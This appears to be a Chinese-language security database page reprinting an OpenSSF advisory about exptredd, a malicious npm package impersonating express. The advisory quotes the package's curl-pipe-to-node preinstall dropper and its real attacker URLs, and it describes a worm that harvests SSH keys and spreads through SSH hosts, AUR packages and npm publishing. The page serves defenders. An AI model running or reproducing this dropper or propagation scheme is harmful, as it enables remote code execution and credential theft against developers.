目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

exptredd

MAL-2026-17247
2026-10-05 22:46:45
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in exptredd (npm)

安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
186
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmexptredd5.2.1
npmexptredd5.2.3
npmexptredd5.2.4
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-17247","published":"2026-09-29T07:12:49Z","modified":"2026-10-05T22:46:44.625336583Z","summary":"Malicious code in exptredd (npm)","details":"The package exptredd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.\n\nOn Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named \"Font Rendering Service\" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (906cb705c9e58527d888fca6e046fafb5586b0529f989496d96a92a5450f0e7c)\nexptredd@5.2.3 is published under a name resembling express and ships express's package metadata (description, author, contributors, repository, homepage, keywords, dependency list) verbatim as a cover for a malicious install-time payload. package.json line 98 defines a preinstall lifecycle script that uses curl to fetch an unpinned remote JavaScript file from an anonymous gitflic.ru project (hellscripter/install-scripts) proxied via web.archive.org and pipes the response directly into node, executing attacker-controlled code on the installer's host during npm install. The fetch destination is unrelated to express's publisher, is not pinned by hash or version, and is served over a mutable archive URL whose content the attacker controls. The combination of name-confusion with express, verbatim express metadata as disguise, and an install-time curl|node dropper to a non-publisher host is a confirmed install-time remote code execution against any developer or build system that runs npm install on this package.\n","affected":[{"package":{"name":"exptredd","ecosystem":"npm"},"versions":["5.2.1","5.2.3","5.2.4"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"092df5127a1acf706c0fd62b13b522d40cc65b2d5c05ca170aa885fcf99d9e2d","tlsh":"f051da21cc0e8c6326c5a2dd3c69a542612188078e41f81cf769539c8f8e52f71b9fbf"}],"package_integrity":[{"filename":"exptredd-5.2.1.tgz","hashes":{"sha1":"91a068cf6ac31c9dad83f1d8eff99209cdb46d45","sha512_sri":"sha512-u0YAjjAUpQ1AHLttM6SmGALvGUIoNNJLHLH+8eDSCgXlkQfCEohshSEJgNNaJJVHgxEwPx4KY9IQzEZk0dgwSw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/exptredd/v/5.2.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/exptredd"},{"type":"REPORT","url":"https://safedep.io/dirtyblanket-express-impersonation-npm/"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/exptredd/v/5.2.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/exptredd/v/5.2.4"}],"database_specific":{"iocs":{"files":[{"note":"preinstall script pipes the web.archive.org copy of node.js into node.","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577"},"note":"Stage two Bash worm, piped from curl into bash.","paths":["linux.sh"],"source":"IN_MEMORY"},{"digests":{"sha256":"2c9dbc14809f1e1aebda114194368b002acf74c8760b88fc101f625d179793c2"},"note":"systemd-fontd, a stripped Go ELF x86-64 binary run as the \"Font Rendering Service\" systemd service. First path as root, second path without root.","paths":["/usr/lib/systemd/systemd-fontrenderd","~/.config/systemd/systemd-fontcached"],"source":"DROPPED"}],"urls":["https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js","https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js","https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh","https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/systemd-fontd"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020627","import_time":"2026-09-29T14:44:37.188150905Z","modified_time":"2026-09-29T14:39:30Z","sha256":"288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035","source":"amazon-inspector","versions":["5.2.1"]},{"id":"IN-MAL-2026-020879","import_time":"2026-10-04T23:16:30.0371481Z","modified_time":"2026-10-04T23:13:08Z","sha256":"906cb705c9e58527d888fca6e046fafb5586b0529f989496d96a92a5450f0e7c","source":"amazon-inspector","versions":["5.2.3"]},{"id":"IN-MAL-2026-020878","import_time":"2026-10-04T23:16:29.98486406Z","modified_time":"2026-10-04T23:13:00Z","sha256":"c28b19c00ee94beeb556248232505aadd3cd18d4d65ccb13a094f84690d6f94f","source":"amazon-inspector","versions":["5.2.4"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"},{"name":"Pranesh, InvisiRisk","type":"FINDER"},{"name":"SafeDep","contact":["https://safedep.io"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0